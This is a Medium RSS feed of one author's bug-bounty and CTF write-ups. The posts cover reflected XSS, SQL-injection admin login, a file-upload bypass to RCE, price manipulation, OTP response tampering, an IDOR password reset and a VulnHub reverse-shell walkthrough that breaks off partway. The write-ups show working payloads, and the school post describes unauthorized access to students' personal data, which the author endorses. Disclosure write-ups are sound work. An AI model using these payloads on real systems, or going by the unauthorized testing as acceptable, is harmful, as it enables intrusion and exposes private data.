<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Vikaran on Medium]]></title>
        <description><![CDATA[Stories by Vikaran on Medium]]></description>
        <link>https://medium.com/@vikaran101?source=rss-6c97b9ab5132------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*lSpaGmQoRIUM7cveIyuy6w@2x.jpeg</url>
            <title>Stories by Vikaran on Medium</title>
            <link>https://medium.com/@vikaran101?source=rss-6c97b9ab5132------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 16:58:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@vikaran101/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I made it into the United Nations hall of fame as I slept]]></title>
            <link>https://vikaran101.medium.com/how-i-made-it-into-the-united-nations-hall-of-fame-as-i-slept-f567c90be227?source=rss-6c97b9ab5132------2</link>
            <guid isPermaLink="false">https://medium.com/p/f567c90be227</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[united-nations]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Vikaran]]></dc:creator>
            <pubDate>Wed, 25 May 2022 20:18:13 GMT</pubDate>
            <atom:updated>2022-05-27T16:49:33.819Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VZEh2Nv7_qHRNQIyTuzfDQ.jpeg" /></figure><p>This article is going to be about how I got my name in the United Nations hall of fame for finding a reflected XSS bug as I slept.</p><p>If you are a beginner in bug hunting you must&#39;ve read a ton of articles for understanding XSS bugs and finding them. Me too!</p><p>The classic methodology to find them is…</p><ol><li>collect all the URLs from ‘waybackurls’ or ‘gau’</li><li>select all the links that require parameters(have ‘=’ in them)</li><li>parse all the links to ‘kxss’ and look for the links that dont unfilter characters like &lt;,&gt;,”,’</li><li>target those links and try to inject code on those parameters(for the basic methodology of finding XSS read <a href="https://vikaran101.medium.com/reflected-xss-on-byjus-my-first-bug-a5bbab098748">https://vikaran101.medium.com/reflected-xss-on-byjus-my-first-bug-a5bbab098748</a>)</li></ol><p>Using all these points to form a one-liner(‘qsreplace’ here helps in parsing the unique links to kxss and saveing time)…</p><pre>waybackurls un.org | grep = | qsreplace test | kxss</pre><p>But the basic methodology is a little longer(collecting all alive domains, taking screenshots etc).</p><p>Recon tasks like this are long and boring and I always spent the first half-hour of hunting, where my concentration is at its max to run such boring and repetitive tasks. Also, a lot of long scans would be interrupted due to problems like the network and battery.</p><h4><strong>Setting up a Virtual Private Server</strong></h4><p>The solutions to these problems were quite easy. To solve the 2nd problem, I decided to use a VPS from Digital Ocean. I set up a Linux server and installed the necessary tools. Ran the commands inside a ‘tmux’ pane so that my sessions would be saved even if I log out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1FLV7Fi8YLt8swIx7R7wTg.png" /></figure><h4><strong>Weaponising Waybackurls</strong></h4><p>As I ran waybackurls on the target, I noticed something very weird about the tool.</p><p>Case 1: If I run waybackurls on un.org for all the subs I get web archive links for that domain from all the subdomain.</p><pre>&gt;&gt; waybackurls un.org<br>un.org/eg0<br>un.org/eg1<br>un.org/eg2<br><strong>x</strong>.un.org/eg0<br><strong>x</strong>.un.org/eg1<br>y.un.org/eg0</pre><p>In the example you see above I get only 2 results from ‘x.un.org’ but in case 2…</p><p>Case 2: Running ‘waybackurls’ only on ‘x.un.org’</p><pre>&gt;&gt; waybackurls x.un.org<br><strong>x</strong>.un.org/eg0<br><strong>x</strong>.un.org/eg1<br><strong>x</strong>.un.org/eg2<br><strong>x</strong>.un.org/eg3<br><strong>x</strong>.un.org/eg4</pre><p>I realised that I get more results for a given subdomain if I give it separately to the tool. This meant that to increase my attack surface, I must run waybackurls on every subdomain. It is not like I have the patience to do that, so I decided to code a script for it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L4F07sNfS7BTl4rghJOj-A.png" /><figcaption>5-minute code to get the links from all domains(try threading to speed up the process)</figcaption></figure><p>I added this code along with some other code to collect domains from tools like ‘subfinder’, ‘amass’ and ‘findomain’. Then to extract all the alive domains from ‘http’, then use that list to give to the ‘recursive_wayback()’. Once the list was created I piped it to ‘kxss’. Once I had the list of <strong>all</strong> the URLs with their list of unfiltered characters, I was free to look for points vulnerable to reflected XSS.</p><h3>Vikaran101 on Twitter: &quot;Working on targets with a large scope finally forced me to do this. Robotic recon tasks would make the hunt boring. Now I can run scans while I&#39;m sleeping or in school and don&#39;t have to worry about my laptop accidentally going to sleep. 1/2#infosec #bugbountytips pic.twitter.com/UMlAH79aSO / Twitter&quot;</h3><p>Working on targets with a large scope finally forced me to do this. Robotic recon tasks would make the hunt boring. Now I can run scans while I&#39;m sleeping or in school and don&#39;t have to worry about my laptop accidentally going to sleep. 1/2#infosec #bugbountytips pic.twitter.com/UMlAH79aSO</p><h4>Finding XSS</h4><p>I started the scan before I went to sleep. When I woke after ̶8̶ 6 hours the report was ready.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2E8qeh335OhzdKIs9JYsfw.png" /><figcaption>Simple grep to instantly find vulnerable parameters</figcaption></figure><p>Once I found that the ‘redirectTo’ parameter doesn&#39;t filter &lt;,&gt;,”,’, I knew I could trigger an XSS vulnerability.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dle1MDitVCCPmuQJylasFw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4FrBwQt9Uw2fvtaaGyF7vw.png" /><figcaption>XSS!</figcaption></figure><p><strong>Reported:</strong> 16th April 2022</p><p><strong>Fixed:</strong> 21st April 2022</p><p><strong>Acknowledged:</strong> 25th April 2022</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EcjoUyi08lfyzK9nRYMfcA.png" /><figcaption>Done!</figcaption></figure><p><strong>Twitter:</strong> <a href="https://twitter.com/vikaran101">https://twitter.com/vikaran101</a></p><p>If you enjoyed the blog, feel free to clap and follow me on Twitter.</p><p><strong>Thank you</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f567c90be227" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I hacked into one of India’s biggest online book stores(RCE and more)]]></title>
            <link>https://infosecwriteups.com/how-i-hacked-into-one-of-indias-biggest-online-book-stores-rce-and-more-887ef6460935?source=rss-6c97b9ab5132------2</link>
            <guid isPermaLink="false">https://medium.com/p/887ef6460935</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cbse]]></category>
            <dc:creator><![CDATA[Vikaran]]></dc:creator>
            <pubDate>Fri, 17 Dec 2021 14:37:55 GMT</pubDate>
            <atom:updated>2021-12-28T06:27:07.556Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gkIdvKFZpyzR-b8zrGsIuA.jpeg" /><figcaption>Oswaal Books(oswaalbooks.com)</figcaption></figure><p>This article is going to be about how I found my 1st RCE on one of India’s biggest e-commerce sites(+ a few more bugs).</p><p>Oswaal Books is a very popular company among high schoolers in India and the ones studying for competitive exams like JEE, NEET etc. They make guides, sample question papers, question banks etc. The story begins with a simple XSS bug. As I was trying to log in to my account one day, and I typed in the wrong password by mistake it displayed an error message saying that the password was invalid. The weird thing I noticed was that the error message was the same as the input given to the ‘errmsg’ parameter in the URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rkk069RyJq-AgKqrX6AR9w.png" /></figure><p>For those of you who have even just read the first few pages of the XSS chapter in the Web Hacker’s handbook know what to do. I just replaced the error message with my XSS payload and found another XSS bug.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qs4ZnMzRhe90cdK3hSwboA.png" /></figure><p>A few months later as I was wandering on the site again, I decided to come back to this. This bug was now fixed, I edited my profile and saw that there was a success message but this was from the ‘errmsg’ parameter too. Tested for XSS here and got one. I realised that the ‘errmsg’ parameter is used in multiple places. I ran waybackurls on the domain and filtered all queries that had the ‘errmsg’ parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*6qdHprTc0jOO-NG4KTF1ig.png" /></figure><p>If you look closely at these links, you will realise that I didn’t just find multiple links vulnerable to XSS but I also found a secret login page which I couldn’t find using directory brute force(URL 1).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IXeSWNc55Acm-B6UnnukOQ.png" /><figcaption>Backend admin panel</figcaption></figure><p>I was quite excited looking at this page and tried all the basic textbook methods like trying to bypass captcha(failed), response code manipulation(failed), default credentials(failed). The last option was to try SQLi but it was a long shot as it didn’t work anywhere on the main website. I also realised that I had only tried GET based SQLi so I decided to go for POST based SQLi.</p><pre>Try 1:<br>user = admin’<br>pass = test</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rUjbpZ3TOKA9-zTCJK_MVg.png" /></figure><p>And the error was triggered!</p><pre>Try 2:<br>user = admin’ OR 1=1 -- <br>pass = test</pre><p>And….. I was web admin!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cYuRlRmcUMeW6axKXSoREQ.png" /><figcaption>Dashboard</figcaption></figure><p>Privileges:<br>1)Change password<br>2)Edit member details<br>3)View orders and tamper with its settings(cancel orders, initiate refund etc)<br>4)Edit books details(even prices)<br>5)Edit blogs, news etc<br>6)Look at resumes uploaded from the portal on the main site.<br>7)Edit SEO settings<br>8)View private customer info(address, phone number etc)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xGNp1RbeMJ5mR7jF8qd5ZA.png" /><figcaption>Customer details</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wCrwL3bGaBcvrMKSP1C-3w.png" /><figcaption>Ability to tamper with the order</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wDjOrPlP_8RHR5XqqPqwDQ.png" /><figcaption>Customer Invoice</figcaption></figure><p>Moving on, getting into the admin panel was could but I wanted to see if I could do more. With all the new functionality I now have a higher chance at something big like an RCE. I explored the panel and navigated to the manage blog section. I chose an old and disabled blog for the test. I went to the edit section and tried tampering with the photo upload section.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C9ZJcbsQqHo1iLc7Wqyjig.png" /></figure><p>Methodology:</p><ol><li>I first tried uploading a sample photo to see if the file was getting renamed, but it wasn’t(win 1)</li><li>Tried to see what extensions it accepted(.php, .php5, .php4, .phtml, .php.jpg didn&#39;t work)</li><li>Tried to see if the mime type was triggering any alerts.</li><li>Finally changing the extension to ‘.PhP’ did the job</li></ol><p>Here we go…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yz1MaeJ2_kYsbk1-06qvvg.png" /></figure><p><strong>Bug 2: Price Manipulation [P2]</strong></p><p>This bug was inspired by another writeup on the Infosec Write-ups page(can’t find the link now, please mention it in the comments if you know about it). All products were linked with a product ID so I couldn’t change the price by editing the request. However I could edit the quantity so I decided to place a negative integer in there, and that was bug 2…</p><pre><strong>Case 1:</strong><br>Price: Rs 1000<br>Quantity: 1<br>Subtotal: 1000 x 1 = Rs 1000</pre><pre><strong>Case 2:</strong><br>Price: Rs 1000<br>Quantity: 2<br>Subtotal: 1000 x 2 = Rs 2000</pre><pre><strong>Case 3:</strong><br>Price: Rs 1000<br>Quantity: 3<br>Subtotal: 1000 x -2 = Rs -2000</pre><p>With a negative cart value(eg: Rs 2000), I will not be able to reverse the transaction process and extract the amount from their account with a negative cart value, its like I have a discount coupon. So I can fill my cart up with all the products I want till I reach the minimum cart value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*YPHTt8dDkOM9oXsqwtCYgg.png" /></figure><p>3 books and a total amount of Rs. 0(This may not work in all cases and you may need to satisfy the minimum cart value to proceed).</p><p><strong>Bug 3: Cross-Site Request Forgery[P3]</strong></p><p>There is not a lot of explanation required here. The fact is that CSRF tokens were being used nowhere, even for sensitive actions.</p><p><strong>Bug 4: Authentication bypass by response code manipulation[P3]</strong></p><p>This vulnerability exists on the main login page. After entering my number I choose to sign in with my OTP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*umpsZovSm6HVJbUfs02-bA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VrH5QfavKgF6wkx3HdFpeg.png" /></figure><p>Then I enter a test OTP and intercept the response. I get the response as ‘2’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Abx1D_J3Z3nhV0mnRPjy6w.png" /></figure><p>And here I just guessed(normally you would add the correct OTP and see what the right response is and then try to replicate it with a wrong OTP to see if authentication can be bypassed) and decided to change the response to ‘1’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m0ZxPbe-xfZdbObdGPxVRg.png" /></figure><p>And that’s bug number 4…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0hSQVfWWQnBXP40vS0544Q.png" /><figcaption>(Signed in to the test account without the correct OTP)</figcaption></figure><p><strong>Beyond bug hunting</strong></p><p>Companies, especially with a large user base need to understand the importance of security. The above methods are some of the most basic methods used for pen-testing(I’d say this was like playing a CTF) and bug hunting. I just needed a few steps to get access on the site. Sensitive details could be leaked and harmful things like defacing of the website were also possible. This wouldn’t just affect the company or its brand value but also the users that trust it. That is why <em>with great power comes great responsibility.</em> Companies need to take responsibility for the data their customers trust to store with them.</p><blockquote>Cyber security services might be costly but your users’ trust and security are worth every penny.</blockquote><p>Reported: 29th September, 2021</p><p>Patched: 17th December, 2021</p><p>If you too are/were an Indian high-school student and used their products and enjoyed this write-up, please feel free to clap, follow me on Medium and Twitter.</p><p>Twitter: <a href="https://twitter.com/vikaran101">https://twitter.com/vikaran101</a></p><p>Thank you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=887ef6460935" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-hacked-into-one-of-indias-biggest-online-book-stores-rce-and-more-887ef6460935">How I hacked into one of India’s biggest online book stores(RCE and more)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I hacked into one of India’s costliest schools!]]></title>
            <link>https://vikaran101.medium.com/how-i-hacked-into-one-of-indias-costliest-schools-b67c233b940e?source=rss-6c97b9ab5132------2</link>
            <guid isPermaLink="false">https://medium.com/p/b67c233b940e</guid>
            <category><![CDATA[schools]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cybersecurtiy]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Vikaran]]></dc:creator>
            <pubDate>Sat, 23 Oct 2021 07:10:42 GMT</pubDate>
            <atom:updated>2021-10-24T16:10:25.526Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KiSvexj8LQXHPf8MmcpDUA.jpeg" /></figure><p>This article is going to be about how I hacked into one of India’s most famous and costly international schools. For certain reasons, I won’t be able to mention the organisation’s name(they are very rich and might sue me and also have extremely rich clients) and will call it redacted.edu. I was really bored and was too lazy to hunt bugs properly and decided to do some casual testing on a few rich schools that were on my list. I didn’t find anything interesting on other targets and finally landed at redacted.edu.</p><p>There were no interesting subdomains and no internal servers found from Shodan on Censys. Finally, I decided to do some GitHub recon.</p><p>Dork: “REDACTED.in”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P8JeWZtwRqS_-aaMD2Elug.png" /></figure><p>And found a few interesting things in the code section. These were just emails of what looked like students([Student].[IDNumber]<a href="http://twitter.com/REDACETD">@REDACETD</a>.edu). Along with this were their phone numbers, birthdays and class details and their phone numbers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l5_dfo814dE1y_M7GiIGPg.png" /></figure><p>I thought this would be enough to report but I wanted to dig in more. I decided to look at the main repository and what I found was unbelievable. It was the source code of the entire website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fCZU-hOVw91-sKLx80q91A.png" /></figure><p>I couldn’t believe it as this almost never happens. I even had the mysql credentials from the connect.php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NA9Zmgn7X7M2Vgr68JoGdg.png" /></figure><p>But the funny thing was that this wasn’t for the main website. I looked into a lot of .php and .html files to see if the link was mentioned maybe in the meta tag but this whole time the .htaccess file was right in front of me. I opened the file and saw that this was for a completely different website which was also the organisation’s internal website. We will call this REDACTEDINT.com.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LZZVyfoCl4Qvy1OxeDKEWQ.png" /></figure><p>The first thing the site showed me was a login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JS5VcToaKQEjqmDgjnWeCw.png" /></figure><p>I entered the wrong credentials and intercepted the response which had the ‘status’ value set to 0 and I changed it to 1. This didn’t help me as a token for the valid credentials wasn’t returned. Now I tried to experiment with the forgot password functionality.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HnG4LRB9QMzE63PKO_4_pQ.png" /></figure><p>1)Used a wrong email and changed response’s status value to 1<br>2)Got redirected to the OTP verification page, entered 1234 and changed the response to 1<br>3)Finally reached <a href="https://redactedint.com/forgot-change-password.php?email=undefined">https://REDACTEDINT.com/forgot-change-password.php?email=undefined</a></p><p>I think everyone can spot the vulnerability now(IDOR: Insecure Direct Object References), all I did was go to the repository, choose the email of a student whose birth year was 2003 or earlier as they would be pass outs and so that I wouldn’t be tampering with an existing user’s account. I then replaced the email with undefined and was able to reset the password for the user, the account I used also had elevated access on the portal which allowed me to access the details of all the current students that included their email IDs, phone numbers, birthdays, access level information, class details and more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HnG4LRB9QMzE63PKO_4_pQ.png" /><figcaption>Step 1) Use wrong email for forgot password</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OojMW96RULl-20fnEFEErg.png" /><figcaption>Step 2) Change status code to 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ju3RLXKXu9m3EF9FAB1lEA.png" /><figcaption>Step 3) Enter wrong email and wrong OTP and change the status code again</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vMsPZveb11FRmqyefbm8Xw.png" /><figcaption>Step 4) Replace ‘undefined’ in email value with existing mail and reset password</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CRhAIQCQUCnc1PANvi598g.png" /><figcaption>Step 5) Login!</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MFlAB4rNo5Va1HCcRiIcaw.png" /></figure><p>Reported:- 17 October 2021<br>Acknowledged:- 19 October 2021<br>Patched:- 21 October 2021</p><p>Sometimes it’s good to let go and test on targets that don’t have a bug bounty program, but everything you can learn from such targets is still priceless.</p><p>If you enjoyed this write-up, feel free to click the clap button and more like this click on the follow button.</p><p>Twitter: <a href="https://twitter.com/vikaran101">https://twitter.com/vikaran101</a></p><p>Thank you</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b67c233b940e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reflected XSS on Byjus(My first bug)]]></title>
            <link>https://vikaran101.medium.com/reflected-xss-on-byjus-my-first-bug-a5bbab098748?source=rss-6c97b9ab5132------2</link>
            <guid isPermaLink="false">https://medium.com/p/a5bbab098748</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[p3]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[chemistry]]></category>
            <dc:creator><![CDATA[Vikaran]]></dc:creator>
            <pubDate>Mon, 13 Sep 2021 09:23:40 GMT</pubDate>
            <atom:updated>2021-09-13T10:32:46.987Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*s6DzQxsSxckZXLwo09XD1g.png" /></figure><p>Around a year back, schools had started to implement an online mode of learning. I had to complete my chemistry assignment and was too lazy to study for it. That’s why I went to byjus.com, an Indian ed-tech startup to look for answers to the question. The message on the placeholder of the search tab was extremely weird(They don’t have that on the search tab anymore but they do have it on the comment box, maybe try for Stored XSS 😉)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*spKYk_ZfvOk628JxVu_nkA.jpeg" /><figcaption>LOL! 😂</figcaption></figure><p>What is a hacker going to do now?</p><p>So I started to investigate. I started by entering a word in the query that I know is not on the website already. I use ‘mysplxssbug’. Once I get the results, I look at the source code and see where it gets reflected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0m9UOvorhrHp5G8spiP4xw.png" /><figcaption>(1)Entering my query</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PQqqhvXv-hFYm07_4LaFww.png" /><figcaption>(2)Looking for the same word</figcaption></figure><p>It gets reflected on 3 places on the site and on appending special characters to the query(eg:- &gt;&lt;’”;), it gets URL encoded on all the places except on the title.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OtRxRjoTqFCqjZu_ojnC5g.png" /><figcaption>(3)Payload not encoded in the title section</figcaption></figure><p>As you can see, the payload isn’t encoded but it doesn&#39;t get executed either. That is because the image tag doesn&#39;t work inside the title tag. So all I had to do was balance it.</p><p>New payload:- <strong>myfirstxssbug&lt;/title&gt;&lt;img src=x onerror=alert(1)&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EXDSRRcY2PXc0bJX4l9rhA.png" /><figcaption>(4)Works!</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2JNDlSzyHBcmmdGdWy_o5A.png" /><figcaption>Yay</figcaption></figure><p>That is how I found my first bug thanks to my chemistry class. And also please don’t expect visitors to follow instructions on the placeholders, some might be hackers and won’t hesitate to experiment. Writing a warning like this will just get more people to tinker with it(चोर की दाढ़ी मैं तिनका).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*1KjgAeBL83lcd6dvnPV-zg.jpeg" /><figcaption>SECURITY!</figcaption></figure><p>Since then I have found 9 more bugs. I will share write-ups on all of them in due time.</p><p>Thank you for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5bbab098748" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tech_Supp0rt: 1 (VulnHub)]]></title>
            <link>https://vikaran101.medium.com/tech-supp0rt-1-vulnhub-16486c93205e?source=rss-6c97b9ab5132------2</link>
            <guid isPermaLink="false">https://medium.com/p/16486c93205e</guid>
            <category><![CDATA[tech-support]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[pentest]]></category>
            <dc:creator><![CDATA[Vikaran]]></dc:creator>
            <pubDate>Sat, 19 Jun 2021 09:14:41 GMT</pubDate>
            <atom:updated>2021-06-19T09:14:41.440Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R-6-yIORT2ZhWOQmyR5mvw.jpeg" /><figcaption>Tech Support Scammer</figcaption></figure><p>This is the first CTF machine I built which is now live on VulnHub. The difficulty is Easy and can be solved by anyone with basic enumeration skills and the ability to understand exploits.</p><p><a href="https://www.vulnhub.com/entry/tech_supp0rt-1,708/">Tech_Supp0rt: 1</a></p><p>This machine is inspired by Indian tech support scammers. It acts as a server which is under maintenance that hosts their fake tech support website. Let us now PWN these scammers!</p><p><strong>Enum</strong></p><p>Let us start with a nmap scan</p><pre>Nmap -sC -sV [IP]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*B28w6NNFPQZnFJbOZE1h8Q.png" /></figure><p>We see that Port 80, 22, 139 and 445 are open.</p><p>Let us start enumerating port 80. It shows the default Apache2 page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*ffm1cSP1Bp0VScqBakL2-w.png" /></figure><p>We find some interesting directories on doing a dirbust.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uFw35oJzm3j6MKno-sxItA.png" /></figure><p>On going to the test directory, we find an easter egg. The error page popup scammers use to fool people saying that their computer is infected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ITMPqSNv2gFn88fCunAPmg.png" /></figure><p>Let us now look at the wordpress page. This hosts the fake tech support website.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dew1oFcuVyGilPalNwG6eQ.png" /></figure><p>A very important rule to remember is to run a wpscan on this wordpress page.</p><pre>wpscan --url <a href="http://[ip]/wordpress/">http://[ip]/wordpress/</a> -e u,vp,vt</pre><p>— url: the url</p><ul><li>e: enumerate</li><li>u: users</li><li>vp: vulnerable plugins</li><li>vt: vulnerable themes</li></ul><p>The only interesting thing we find in the scan it the username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*JC5cu5GiY9wL_DgHGdP8hw.png" /></figure><p>But we still don’t have a password. Now that we have reached a dead end on Port 80, let us move on to the smb service.</p><pre>smbmap -H [IP]</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*68g2JRADbf-e9ifmSNipAw.png" /></figure><p>We find a read able share called websvr. Enumerate!</p><pre>smbclient \\\\[IP]\\websvr</pre><p>We find a file called enter.txt in there, download it using the mget command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*bci8U8EvHRg5DKB3zAlaoA.png" /></figure><p>On reading the file, we are able to gather some sensitive information. We now know that there is a dir called /subrion which hosts another site and isn’t working and the sysadmin is supposed to edit it from the panel. And we also get creds for it which seem to encoded.</p><p>On running dirb in the /subrion dir we find multiple redirects but we do find a robots.txt file in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*opXS00r-Mb3TH9kKWiftIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*bNGoda4BX5Y9DTDAvYnR6w.png" /></figure><p><strong>Exploitation</strong></p><p>Now we find a dir called panel in the list. On going to /subrion/panel we it asks us for subrion cms’s creds. We are also able to get some sensitive info like the version of the cms which is 4.2.1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n6MBAreE4m72hjGdlXTGHg.png" /></figure><p>We do find an exploit for this version in exploitdb but it is an authenticated exploit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eiv2EdxVeK8HlPlYr4aj5g.png" /></figure><p>But we do have it’s creds which is encoded. We aren’t sure of the encoding used in it, it might be encode multiple times or by different encoding algorithms. This is why we will be using cyberchef’s magic module.</p><p><a href="https://gchq.github.io/CyberChef/">CyberChef</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*STeIVTZ_mV4-bh4X5doNUg.png" /></figure><p>Let us login using those creds. And run the exploit from exploit db. If you have tried this, you know that the exploit doesn’t work, it gives out a lot of errors as it is a very recent exploit. It is theoretically correct but has a lot of bugs. You can try to fix the exploit or understand what it does and run it manually.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3s4DkzgxxARyzBccA5bmug.png" /></figure><p>On reading the code, we learn that the script uploads a reverse shell in the for of .phar which is an alternative to php as it it blocked with the get system code. This is quite easy and we can do this manually.</p><p>Make a new file and name it shell.phar with the reverse shell code of your choice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*pz7bEJx4ukrNAHQnyvyocQ.png" /></figure><p>Upload it from the uploads tab. Then right click on the file and click on get info to get the direct link.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UbsB1UMsWHWjEaL-DjBjmA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zl5e2qIeLggBXSLieY7Zlg.png" /></figure><p>And now we have RCE!</p><p>Now intercept this request with Burpsuite and replace the command with a payload of your choice. Change the ip and port and make sure you URL encode it by selecting it and running CTRL+U.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mtkETY3F9fP9ltDZXmeo1w.png" /></figure><p>We now have a shell and upgrade it by running…</p><pre>python -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>It is a good time to look at the config files of the wordpress website we previously found. Go to /var/www/html/wordpress/ and look into the wp-config.php file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2_u9pHUuH7DFI83lsdcJmQ.png" 